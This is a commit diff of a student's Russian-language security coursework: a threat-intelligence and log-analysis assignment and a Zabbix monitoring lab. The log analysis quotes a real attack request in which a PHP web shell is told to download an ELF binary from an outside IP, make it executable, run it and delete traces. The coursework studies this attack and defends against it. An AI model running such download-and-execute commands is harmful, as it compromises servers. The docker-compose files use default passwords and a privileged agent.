refactored. 01-02-03 done

This commit is contained in:
Marat Kharitonov
2024-03-26 19:36:57 -04:00
parent 37b5fd1f40
commit 40899bcd4b
152 changed files with 647 additions and 0 deletions

View File

@@ -0,0 +1,42 @@
# Задание 1
Согласно найденным отчётам по хостнейму и IP-адресу:
https://any.run/report/6dd737167202586feffdf37f3883461de94a1c01051a32b30db66fc1db5a681d/11691868-8155-4601-9cc5-ebdd94a77b79
https://otx.alienvault.com/indicator/ip/103.53.42.223
Данный домен скорее всего участвовал в рассылке вредоносных файлов.
1. В список IOC можно предложить указать хэши вредоносных файлов, связанных с данным доменом, например:
```
bae8ebd43fe0bc8c5bce6d5b8986589434e434b9a0023c7f535e6269858e4d7d
6DD737167202586FEFFDF37F3883461DE94A1C01051A32B30DB66FC1DB5A681D
fde3341015c7de7383bca14b2e62336bd685f1abc4105ad5d4eba6d13da09f15
65f81879b5421a5683de158629677f153d046ce7dc81fb770d3b2ca9cbd8d47f
17d1bbe4053498d4a7db1eda9e477d7d86b1b538afa4b9a9f7579676459c17c4
b963fdcb37b1ea21efd4d930112e3e7636d16160699eaa09d4e1e23a2f12f00a
```
Также можно добавить IP-адрес данного домена, так как взломан может целый почтовый сервис, который хостит множество почтовых доменов (103.53.42.223)
Дополнительно, можно предположить, что сайт хостится на сервисе (*.webhostbox.net), все поддомены можно также добавить в список IOC.
2. Сам хост по совокупности не похож на зараженный в привычном понимании (родительский домен в каких-либо базах вредоносов не находится), вероятнее всего был взломан почтовый сервер и хоста (в отчетах имеются даже учетные данные, с помощью которых проводилась рассылка), после чего он использовался для спам рассылок вредоносных файлов (значатся различные семейства Trojan и шифровальщиков, например AgentTesla, ZeuS) с других уже зараженных машин.
# Задание 2
Самым важным моментом логов можно считать следующую запись:
```
47.243.78.78 - - [21/Oct/2022:00:33:56 +0300] "GET /vendor/htmlawed/htmlawed/233.php?123456=rm%20-f%20linux*;wget%20http://67.198.237.116/linux_x86;curl%20-O%20http://67.198.237.116/linux_x86;chmod%20777%20*;./linux_x86;rm%20-f%20linux_x86.*;rm%20-f%20md*;rm%20-f%20x* HTTP/1.1" 200 5800 "-" "python-requests/2.27.1"
```
Это запрос с User-agent "python-requests/2.27.1" возвративший 200 ответ.
User-agent python-requests говорит о том, что данный запрос вероятно создан с помощью библиотеки Python. А 200 ответ говорит, что сервер вернул некое содержимое и отработал запрос. А куча bash-команд в запросе говорит нам о вероятной эксплуатации атаки типа PHP-Injection (https://owasp.org/www-community/attacks/Code_Injection)
1. ELF-файл скорее всего скачивается с помощью wget с хоста http://67.198.237.116, после чего происходит выдача ему привилегий (chmod) и запуск (./linux_x86)
Имя elf-файла -- linux_x86.
2. Вероятнее всего с активностью ассоциируется уязвимость CVE-2022-35914 (https://nvd.nist.gov/vuln/detail/CVE-2022-35914). Понять это можно по пути до скрипта в запросе (/vendor/htmlawed/htmlawed/233.php), при этом в уязвимости описывается эксплуатация через POST-запрос и другое имя уязвимого скрипта, так что можно предположить, что 233.php уже является PHP-шеллом, загруженным на уязвимый сервер в результате эксплуатации.
Итоговый ответ (по форме: имя ELF-файла (слитно), CVE-идентификатор уязвимости (слитно)): linux_x86, CVE-2022-35914

View File

@@ -0,0 +1,168 @@
# Модуль 3. Мониторинг информационной безопасности и оценка рисков
## Мониторинг, аналитика и оценка рисков ИБ. Задание 4
### Ход лабораторной работы
#### Развертывание Zabbix
1. Для развертывания Zabbix воспользуемся официальной документацией, в части касающейся использования Docker-контейнера для развертывания.
```
https://www.zabbix.com/documentation/current/en/manual/installation/containers
https://github.com/zabbix/zabbix-docker
```
2. Сформируем docker-compose.yaml, запустим его и убедимся в старте сервисов
```yaml
version: '3.5'
services:
server:
image: zabbix/zabbix-server-pgsql:alpine-latest
ports:
- "10051:10051"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
restart: always
depends_on:
- postgres-server
environment:
- POSTGRES_USER=zabbix
- POSTGRES_PASSWORD=zabbix
- POSTGRES_DB=zabbixNew
- ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables
- ZBX_DEBUGLEVEL=1
- ZBX_HOUSEKEEPINGFREQUENCY=1
- ZBX_MAXHOUSEKEEPERDELETE=5000
- ZBX_PROXYCONFIGFREQUENCY=3600
web-nginx-pgsql:
image: zabbix/zabbix-web-nginx-pgsql:alpine-latest
ports:
- "80:8080"
- "443:8443"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
- /etc/ssl/nginx:/etc/ssl/nginx
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8080/"]
interval: 10s
timeout: 5s
retries: 3
start_period: 30s
sysctls:
- net.core.somaxconn=65535
restart: always
depends_on:
- server
- postgres-server
environment:
- POSTGRES_USER=zabbix
- POSTGRES_PASSWORD=zabbix
- POSTGRES_DB=zabbixNew
- ZBX_SERVER_HOST=server
- ZBX_POSTMAXSIZE=64M
- PHP_TZ=Europe/Moscow
- ZBX_MAXEXECUTIONTIME=500
agent:
image: zabbix/zabbix-agent:alpine-latest
ports:
- "10050:10050"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
- /proc:/proc
- /sys:/sys
- /dev:/dev
- /var/run/docker.sock:/var/run/docker.sock
privileged: true
pid: "host"
restart: always
depends_on:
- server
environment:
- ZBX_SERVER_HOST=server
postgres-server:
image: postgres:16.2
restart: always
volumes:
- pg_data:/var/lib/postgresql/data
environment:
- POSTGRES_PASSWORD=zabbix
- POSTGRES_USER=zabbix
- POSTGRES_DB=zabbixNew
volumes:
pg_data:
```
![alt text](img/01.png)
3. Проверим веб-интерфейс на наличие запущенного Zabbix
![alt text](img/02.png)
Zabbix развернут, можно приступать к работе.
4. Войдём в Zabbix с использованием учетных данных `Admin/zabbix`
![alt text](img/03.png)
Тут мы видим, что у нас уже имеется один хост, который сообщает о проблеме. Это уведомление о недоступности агента самого Zabbix-сервера, который был развернут в контейнере `agent` (в соответствии с docker-compose файлом)
5. Исправим эту проблему, для этого перейдем в настройки данного хоста и установим его опрос с помощью Zabbix-агента через DNS имя, вместо IP-адреса.
![alt text](img/04.png)
6. Спустя пару секунд мы наблюдаем, что связность появилась.
![alt text](img/05.png)
7. Дополнительно создадим ещё одно устройство, это будет мой маршрутизатор Mikrotik. В качестве интерфейса подключения назначим SNMP.
![alt text](img/06.png)
8. Добавим 2 элемента данных:
Проверку доступности по ICMP:
![alt text](img/07.png)
Текущий аптайм в милисекундах:
![alt text](img/08.png)
#### Создание кастомных дашбордов
1. Приступим к созданию своего дашборда с мониторингом интересующих нас параметров.
![alt text](img/09.png)
2. Добавим виджет доступности узлов сети
![alt text](img/10.png)
3. Добавим виджет с информацией об Uptime Mikrotik.
![alt text](img/11.png)
4. Виджет с информацией о системе в целом.
![alt text](img/12.png)
5. Настроим виджеты с информацией об аптайме ОС, утилизации процессора и памяти.
6. В итоге мы получили следующий дашборд.
![alt text](img/13.png)
7. Теперь можно добавить пару графиков, например график доступности Mikrotik (основан на метрике доступности по ICMP) и утилизацию сервера Zabbix (по CPU)
![alt text](img/14.png)
![alt text](img/15.png)
## Выводы
Лабортаорная работа завершена. В ходе работы мы научились разворачивать Zabbix и добавлять устройства в мониторинг. Устройства, на которые нельзя установить Zabbix-агент по прежнему могут быть поставлены на мониторинг, например с помощью SNMP. Zabbix очень функциональный open-source инструмент мониторинга, который очень в том числе в Enterprise среде за свою стабильность, большие возможности и широкую поддержку коммьюнити.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 890 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 184 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 206 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 155 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 173 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 173 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 195 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 306 KiB

View File

@@ -0,0 +1,81 @@
version: '3.5'
services:
server:
image: zabbix/zabbix-server-pgsql:alpine-latest
ports:
- "10051:10051"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
restart: always
depends_on:
- postgres-server
environment:
- POSTGRES_USER=zabbix
- POSTGRES_PASSWORD=zabbix
- POSTGRES_DB=zabbixNew
- ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables
- ZBX_DEBUGLEVEL=1
- ZBX_HOUSEKEEPINGFREQUENCY=1
- ZBX_MAXHOUSEKEEPERDELETE=5000
- ZBX_PROXYCONFIGFREQUENCY=3600
web-nginx-pgsql:
image: zabbix/zabbix-web-nginx-pgsql:alpine-latest
ports:
- "80:8080"
- "443:8443"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
- /etc/ssl/nginx:/etc/ssl/nginx
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8080/"]
interval: 10s
timeout: 5s
retries: 3
start_period: 30s
sysctls:
- net.core.somaxconn=65535
restart: always
depends_on:
- server
- postgres-server
environment:
- POSTGRES_USER=zabbix
- POSTGRES_PASSWORD=zabbix
- POSTGRES_DB=zabbixNew
- ZBX_SERVER_HOST=server
- ZBX_POSTMAXSIZE=64M
- PHP_TZ=Europe/Moscow
- ZBX_MAXEXECUTIONTIME=500
agent:
image: zabbix/zabbix-agent:alpine-latest
ports:
- "10050:10050"
volumes:
- /etc/localtime:/etc/localtime
- /etc/timezone:/etc/timezone
- /proc:/proc
- /sys:/sys
- /dev:/dev
- /var/run/docker.sock:/var/run/docker.sock
privileged: true
pid: "host"
restart: always
depends_on:
- server
environment:
- ZBX_SERVER_HOST=server
postgres-server:
image: postgres:16.2
restart: always
volumes:
- pg_data:/var/lib/postgresql/data
environment:
- POSTGRES_PASSWORD=zabbix
- POSTGRES_USER=zabbix
- POSTGRES_DB=zabbixNew
volumes:
pg_data:

View File

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 48 KiB

View File

Before

Width:  |  Height:  |  Size: 9.2 KiB

After

Width:  |  Height:  |  Size: 9.2 KiB

View File

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 142 KiB

View File

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 19 KiB

View File

Before

Width:  |  Height:  |  Size: 97 KiB

After

Width:  |  Height:  |  Size: 97 KiB

View File

Before

Width:  |  Height:  |  Size: 61 KiB

After

Width:  |  Height:  |  Size: 61 KiB

View File

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 104 KiB

View File

Before

Width:  |  Height:  |  Size: 173 KiB

After

Width:  |  Height:  |  Size: 173 KiB

View File

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 19 KiB

View File

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 95 KiB

View File

Before

Width:  |  Height:  |  Size: 263 KiB

After

Width:  |  Height:  |  Size: 263 KiB

View File

Before

Width:  |  Height:  |  Size: 49 KiB

After

Width:  |  Height:  |  Size: 49 KiB

View File

Before

Width:  |  Height:  |  Size: 99 KiB

After

Width:  |  Height:  |  Size: 99 KiB

View File

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 26 KiB

View File

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 105 KiB

View File

Before

Width:  |  Height:  |  Size: 190 KiB

After

Width:  |  Height:  |  Size: 190 KiB

View File

Before

Width:  |  Height:  |  Size: 57 KiB

After

Width:  |  Height:  |  Size: 57 KiB

View File

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 108 KiB

View File

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 108 KiB

View File

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

View File

Before

Width:  |  Height:  |  Size: 80 KiB

After

Width:  |  Height:  |  Size: 80 KiB

View File

Before

Width:  |  Height:  |  Size: 138 KiB

After

Width:  |  Height:  |  Size: 138 KiB

View File

Before

Width:  |  Height:  |  Size: 139 KiB

After

Width:  |  Height:  |  Size: 139 KiB

View File

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 43 KiB

View File

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 72 KiB

View File

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 23 KiB

View File

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 38 KiB

View File

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 26 KiB

View File

Before

Width:  |  Height:  |  Size: 246 KiB

After

Width:  |  Height:  |  Size: 246 KiB

View File

Before

Width:  |  Height:  |  Size: 269 KiB

After

Width:  |  Height:  |  Size: 269 KiB

View File

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 38 KiB

View File

Before

Width:  |  Height:  |  Size: 37 KiB

After

Width:  |  Height:  |  Size: 37 KiB

View File

Before

Width:  |  Height:  |  Size: 191 KiB

After

Width:  |  Height:  |  Size: 191 KiB

View File

Before

Width:  |  Height:  |  Size: 224 KiB

After

Width:  |  Height:  |  Size: 224 KiB

View File

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 36 KiB

View File

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 40 KiB

View File

Before

Width:  |  Height:  |  Size: 47 KiB

After

Width:  |  Height:  |  Size: 47 KiB

View File

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 48 KiB

View File

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 145 KiB

View File

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 40 KiB

View File

Before

Width:  |  Height:  |  Size: 49 KiB

After

Width:  |  Height:  |  Size: 49 KiB

View File

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 46 KiB

View File

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 121 KiB

View File

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 62 KiB

View File

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

View File

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

View File

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

View File

Before

Width:  |  Height:  |  Size: 55 KiB

After

Width:  |  Height:  |  Size: 55 KiB

View File

Before

Width:  |  Height:  |  Size: 55 KiB

After

Width:  |  Height:  |  Size: 55 KiB

View File

Before

Width:  |  Height:  |  Size: 97 KiB

After

Width:  |  Height:  |  Size: 97 KiB

View File

Before

Width:  |  Height:  |  Size: 97 KiB

After

Width:  |  Height:  |  Size: 97 KiB

View File

Before

Width:  |  Height:  |  Size: 55 KiB

After

Width:  |  Height:  |  Size: 55 KiB

View File

Before

Width:  |  Height:  |  Size: 59 KiB

After

Width:  |  Height:  |  Size: 59 KiB

View File

Before

Width:  |  Height:  |  Size: 122 KiB

After

Width:  |  Height:  |  Size: 122 KiB

View File

Before

Width:  |  Height:  |  Size: 110 KiB

After

Width:  |  Height:  |  Size: 110 KiB

View File

Before

Width:  |  Height:  |  Size: 24 KiB

After

Width:  |  Height:  |  Size: 24 KiB

View File

Before

Width:  |  Height:  |  Size: 124 KiB

After

Width:  |  Height:  |  Size: 124 KiB

View File

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 60 KiB

View File

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 121 KiB

View File

Before

Width:  |  Height:  |  Size: 189 KiB

After

Width:  |  Height:  |  Size: 189 KiB

View File

Before

Width:  |  Height:  |  Size: 178 KiB

After

Width:  |  Height:  |  Size: 178 KiB

View File

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 90 KiB

View File

Before

Width:  |  Height:  |  Size: 159 KiB

After

Width:  |  Height:  |  Size: 159 KiB

View File

Before

Width:  |  Height:  |  Size: 174 KiB

After

Width:  |  Height:  |  Size: 174 KiB

Some files were not shown because too many files have changed in this diff Show More